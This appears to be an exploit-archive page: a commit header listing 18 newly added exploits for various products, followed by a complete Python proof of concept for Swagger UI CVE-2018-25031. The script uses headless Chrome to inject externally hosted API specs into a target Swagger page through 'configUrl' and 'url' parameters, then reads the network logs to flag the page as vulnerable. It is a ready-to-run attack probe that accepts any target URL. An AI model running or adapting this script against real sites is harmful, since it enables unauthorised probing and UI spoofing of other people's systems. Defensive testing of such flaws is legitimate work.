bd09027499
18 changes to exploits/shellcodes/ghdb Franklin Fueling Systems TS-550 - Default Password Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information Linux Kernel 6.2 - Userspace Processes To Enable Mitigation Microsoft Word 16.72.23040900 - Remote Code Execution (RCE) Bang Resto v1.0 - 'Multiple' SQL Injection Bang Resto v1.0 - Stored Cross-Site Scripting (XSS) Chitor-CMS v1.1.2 - Pre-Auth SQL Injection GDidees CMS 3.9.1 - Local File Disclosure Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE) Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS) ProjeQtOr Project Management System 10.3.2 - Remote Code Execution (RCE) Serendipity 2.4.0 - Cross-Site Scripting (XSS) Serendipity 2.4.0 - Remote Code Execution (RCE) (Authenticated) FUXA V.1.1.13-1186 - Unauthenticated Remote Code Execution (RCE) AspEmail v5.6.0.2 - Local Privilege Escalation File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
75 lines
No EOL
2.2 KiB
Text
75 lines
No EOL
2.2 KiB
Text
# Exploit Title: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information
|
|
# Date: 14 April, 2023
|
|
# Exploit Author: Rafael Cintra Lopes
|
|
# Vendor Homepage: https://swagger.io/
|
|
# Version: < 4.1.3
|
|
# CVE: CVE-2018-25031
|
|
# Site: https://rafaelcintralopes.com.br/
|
|
|
|
# Usage: python swagger-exploit.py https://[swagger-page].com
|
|
|
|
from selenium import webdriver
|
|
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
|
|
from selenium.webdriver.chrome.service import Service
|
|
import time
|
|
import json
|
|
import sys
|
|
|
|
if __name__ == "__main__":
|
|
|
|
target = sys.argv[1]
|
|
|
|
desired_capabilities = DesiredCapabilities.CHROME
|
|
desired_capabilities["goog:loggingPrefs"] = {"performance": "ALL"}
|
|
|
|
options = webdriver.ChromeOptions()
|
|
options.add_argument("--headless")
|
|
options.add_argument("--ignore-certificate-errors")
|
|
options.add_argument("--log-level=3")
|
|
options.add_experimental_option("excludeSwitches", ["enable-logging"])
|
|
|
|
# Browser webdriver path
|
|
drive_service = Service("C:/chromedriver.exe")
|
|
|
|
driver = webdriver.Chrome(service=drive_service,
|
|
options=options,
|
|
desired_capabilities=desired_capabilities)
|
|
|
|
driver.get(target+"?configUrl=https://petstore.swagger.io/v2/hacked1.json")
|
|
time.sleep(10)
|
|
driver.get(target+"?url=https://petstore.swagger.io/v2/hacked2.json")
|
|
time.sleep(10)
|
|
|
|
logs = driver.get_log("performance")
|
|
|
|
with open("log_file.json", "w", encoding="utf-8") as f:
|
|
f.write("[")
|
|
|
|
for log in logs:
|
|
log_file = json.loads(log["message"])["message"]
|
|
|
|
if("Network.response" in log_file["method"]
|
|
or "Network.request" in log_file["method"]
|
|
or "Network.webSocket" in log_file["method"]):
|
|
|
|
f.write(json.dumps(log_file)+",")
|
|
f.write("{}]")
|
|
|
|
driver.quit()
|
|
|
|
json_file_path = "log_file.json"
|
|
with open(json_file_path, "r", encoding="utf-8") as f:
|
|
logs = json.loads(f.read())
|
|
|
|
for log in logs:
|
|
try:
|
|
url = log["params"]["request"]["url"]
|
|
|
|
if(url == "https://petstore.swagger.io/v2/hacked1.json"):
|
|
print("[Possibly Vulnerable] " + target + "?configUrl=https://petstore.swagger.io/v2/swagger.json")
|
|
|
|
if(url == "https://petstore.swagger.io/v2/hacked2.json"):
|
|
print("[Possibly Vulnerable] " + target + "?url=https://petstore.swagger.io/v2/swagger.json")
|
|
|
|
except Exception as e:
|
|
pass |